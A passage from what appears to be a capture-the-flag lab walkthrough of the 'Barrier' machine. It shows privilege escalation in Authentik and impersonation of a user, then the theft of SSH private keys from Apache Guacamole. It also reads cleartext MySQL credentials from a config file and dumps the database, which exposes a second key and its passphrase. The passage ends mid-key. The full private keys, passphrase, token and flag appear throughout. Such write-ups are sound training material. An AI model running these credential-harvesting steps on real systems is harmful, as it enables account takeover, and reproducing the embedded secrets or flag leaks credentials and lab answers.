Content-Type: application/json
X-Authentik-Csrf: b2B7TeCN0TRozGnSyb5ovRp6brR59UoT
Content-Length: 264
{
"username": "satoru",
"name": "satoru",
"is_active": true,
"last_login": "2025-01-05T00:04:55.568521Z",
"is_superuser": true,
"groups": [
"a38fb983-8b71-4bf2-b5a7-42ab9fdd58e8"
],
"email": "satoru@barrier.vl",
"attributes": {},
"path": "users",
"type": "internal"
}
Double check and confirmed the updated status:
Login as satoru and we can see a new button Admin interface`:
In Directory > Users we can find our new user maki and we have the possibility to Impersonate her:
Click on Impersonate then we become maki:
Click on Guacamole then click on the Maintenance session:
Failed
Then back to the Guacamole portal and click on maki > Settings > Connections > Maintenance:
We can find the SSH private key of maki:
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
Note
- Don’t forget to add a new line at the end of the file else you will have an error (Win -> Linux)
Use it to connect via SSH as maki:
$ ssh -i maki.key maki@barrier.vl
Unable to negotiate with 10.10.73.66 port 22: no matching host key type found. Their offer: ssh-rsa
Ok so reminder a same issue with HachTheBox Beep machine and we just need to allow this legacy algorithm:
$ ssh -i maki.key -oHostkeyAlgorithms=+ssh-rsa maki@barrier.vl
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-127-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun Jan 5 04:04:11 AM UTC 2025
System load: 0.68 Processes: 211
Usage of /: 68.2% of 17.83GB Users logged in: 0
Memory usage: 46% IPv4 address for eth0: 10.10.73.66
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
9 updates can be applied immediately.
To see these additional updates run: apt list --upgradable
15 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Mon Dec 23 17:45:35 2024 from 127.0.0.1
maki@barrier:~$
Grab the Barrier_User flag:
maki@barrier:~$ ls
user.txt
maki@barrier:~$ cat user.txt
VL{3bd16d82a4afba122b6b9d76d4daaa78}
Root foothold (Barrier_Root)
Check the network interfaces:
maki@barrier:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc mq state UP group default qlen 1000
link/ether 0a:f3:9a:a3:45:c1 brd ff:ff:ff:ff:ff:ff
altname enp0s5
altname ens5
inet 10.10.73.66/18 metric 100 brd 10.10.127.255 scope global dynamic eth0
valid_lft 3090sec preferred_lft 3090sec
inet6 fe80::8f3:9aff:fea3:45c1/64 scope link
valid_lft forever preferred_lft forever
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:8f:4a:ad:35 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
inet6 fe80::42:8fff:fe4a:ad35/64 scope link
valid_lft forever preferred_lft forever
4: br-3eedf9e86078: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:69:1e:4f:55 brd ff:ff:ff:ff:ff:ff
inet 172.18.0.1/16 brd 172.18.255.255 scope global br-3eedf9e86078
valid_lft forever preferred_lft forever
inet6 fe80::42:69ff:fe1e:4f55/64 scope link
valid_lft forever preferred_lft forever
6: vethe09935c@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-3eedf9e86078 state UP group default
link/ether 8e:ce:c9:cc:c6:e5 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet6 fe80::8cce:c9ff:fecc:c6e5/64 scope link
valid_lft forever preferred_lft forever
8: vethfbe7901@if7: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-3eedf9e86078 state UP group default
link/ether aa:e6:30:73:53:3a brd ff:ff:ff:ff:ff:ff link-netnsid 1
inet6 fe80::a8e6:30ff:fe73:533a/64 scope link
valid_lft forever preferred_lft forever
10: veth08f3400@if9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default
link/ether c6:5e:fd:20:ce:9f brd ff:ff:ff:ff:ff:ff link-netnsid 3
inet6 fe80::c45e:fdff:fe20:ce9f/64 scope link
valid_lft forever preferred_lft forever
12: veth25ae9ff@if11: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-3eedf9e86078 state UP group default
link/ether 12:c3:94:80:cf:bd brd ff:ff:ff:ff:ff:ff link-netnsid 2
inet6 fe80::10c3:94ff:fe80:cfbd/64 scope link
valid_lft forever preferred_lft forever
14: veth6394ff6@if13: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default
link/ether 1e:6d:2d:51:55:76 brd ff:ff:ff:ff:ff:ff link-netnsid 5
inet6 fe80::1c6d:2dff:fe51:5576/64 scope link
valid_lft forever preferred_lft forever
16: veth7bff36f@if15: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-3eedf9e86078 state UP group default
link/ether 06:2f:f2:18:53:fd brd ff:ff:ff:ff:ff:ff link-netnsid 4
inet6 fe80::42f:f2ff:fe18:53fd/64 scope link
valid_lft forever preferred_lft forever
Found a docker instance 172.17.0.1 (found it previouly as runner in GitLab)
Check the network connections:
maki@barrier:~$ ss -tlnp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:40371 0.0.0.0:*
LISTEN 0 5 127.0.0.1:4822 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 4096 0.0.0.0:9000 0.0.0.0:*
LISTEN 0 4096 0.0.0.0:80 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 4096 0.0.0.0:443 0.0.0.0:*
LISTEN 0 4096 0.0.0.0:9443 0.0.0.0:*
LISTEN 0 100 *:8080 *:*
LISTEN 0 4096 [::]:9000 [::]:*
LISTEN 0 4096 [::]:80 [::]:*
LISTEN 0 128 [::]:22 [::]:*
LISTEN 0 4096 [::]:443 [::]:*
LISTEN 0 4096 [::]:9443 [::]:*
Found MySQL is listening
Check the users list:
maki@barrier:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
local:x:1000:1000:local:/home/local:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
tomcat:x:998:998:Apache Tomcat:/var/lib/tomcat:/usr/sbin/nologin
mysql:x:115:120:MySQL Server,,,:/nonexistent:/bin/false
maki:x:1001:1001:,,,:/home/maki:/bin/bash
maki_adm:x:1002:1002:,,,:/home/maki_adm:/bin/bash
maki@barrier:~$ ls -la /home
total 20
drwxr-xr-x 5 root root 4096 Dec 23 17:44 .
drwxr-xr-x 19 root root 4096 Dec 15 18:55 ..
drwxr-x--- 4 local local 4096 Dec 22 18:22 local
drwxr-x--- 5 maki maki 4096 Dec 22 15:44 maki
drwxr-x--- 4 maki_adm admin 4096 Dec 22 17:56 maki_adm
Found
maki_adm
Before more deep dive to docker containers, quick check if we can find something related to MySQL:
maki@barrier:~$ grep -Rins "mysql" /opt
Nothing
maki@barrier:~$ grep -Rins "mysql" /etc
...
/etc/mysql/my.cnf:3:# The MariaDB/MySQL tools read configuration files in the following order:
/etc/mysql/my.cnf:4:# 0. "/etc/mysql/my.cnf" symlinks to this file, reason why all the rest is read.
/etc/mysql/my.cnf:5:# 1. "/etc/mysql/mariadb.cnf" (this file) to set global defaults,
/etc/mysql/my.cnf:6:# 2. "/etc/mysql/conf.d/*.cnf" to set global options.
/etc/mysql/my.cnf:7:# 3. "/etc/mysql/mariadb.conf.d/*.cnf" to set MariaDB-only options.
/etc/mysql/my.cnf:25:socket = /run/mysqld/mysqld.sock
...
/etc/guacamole/guacamole.properties:1:# MySQL properties
/etc/guacamole/guacamole.properties:2:mysql-hostname: 127.0.0.1
/etc/guacamole/guacamole.properties:3:mysql-port: 3306
/etc/guacamole/guacamole.properties:4:mysql-database: guac_db
/etc/guacamole/guacamole.properties:5:mysql-username: guac_user
/etc/guacamole/guacamole.properties:6:mysql-password: guac2024
...
Found some interesting stuff in /etc/guacamole/guacamole.properties
maki@barrier:~$ cat /etc/guacamole/guacamole.properties
# MySQL properties
mysql-hostname: 127.0.0.1
mysql-port: 3306
mysql-database: guac_db
mysql-username: guac_user
mysql-password: guac2024
saml-idp-metadata-url: file:///opt/saml.xml
saml-idp-url: http://barrier.vl:9000/application/saml/guac/sso/binding/redirect/
saml-callback-url: http://barrier.vl:8080/guacamole/
saml-entity-id: http://barrier.vl:8080
saml-strict: false
saml-group-attribute: groups
saml-username-attribute: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn
saml-compress-requests: true
saml-compress-responses: true
logback-level: INFO
guacd-hostname: localhost
guacd-port: 4822
guacd-ssl: false
saml-debug: true
extension-priority: saml
#extension-priority: *, saml
Found MySQL credentials and database
Enumeration of the Guacamole DB:
maki@barrier:~$ mysql -u guac_user -p'guac2024' guac_db
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 31
Server version: 10.6.18-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [guac_db]>
MariaDB [guac_db]> SHOW TABLES;
+---------------------------------------+
| Tables_in_guac_db |
+---------------------------------------+
| guacamole_connection |
| guacamole_connection_attribute |
| guacamole_connection_group |
| guacamole_connection_group_attribute |
| guacamole_connection_group_permission |
| guacamole_connection_history |
| guacamole_connection_parameter |
| guacamole_connection_permission |
| guacamole_entity |
| guacamole_sharing_profile |
| guacamole_sharing_profile_attribute |
| guacamole_sharing_profile_parameter |
| guacamole_sharing_profile_permission |
| guacamole_system_permission |
| guacamole_user |
| guacamole_user_attribute |
| guacamole_user_group |
| guacamole_user_group_attribute |
| guacamole_user_group_member |
| guacamole_user_group_permission |
| guacamole_user_history |
| guacamole_user_password_history |
| guacamole_user_permission |
+---------------------------------------+
23 rows in set (0.001 sec)
MariaDB [guac_db]> select * from guacamole_entity;
+-----------+----------+------+
| entity_id | name | type |
+-----------+----------+------+
| 2 | maki | USER |
| 4 | maki_adm | USER |
+-----------+----------+------+
2 rows in set (0.000 sec)
MariaDB [guac_db]> select * from guacamole_connection_parameter;
+---------------+----------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| connection_id | parameter_name | parameter_value |
+---------------+----------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1 | hostname | localhost |
| 1 | port | 22 |
| 1 | private-key | -----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY----- |
| 1 | username | maki |
| 2 | hostname | localhost |
| 2 | passphrase | 3V32FN6oViMPxyzC |
| 2 | port | 22 |
| 2 | private-key | -----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,641356448A934274F5411C859C1FE00F
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
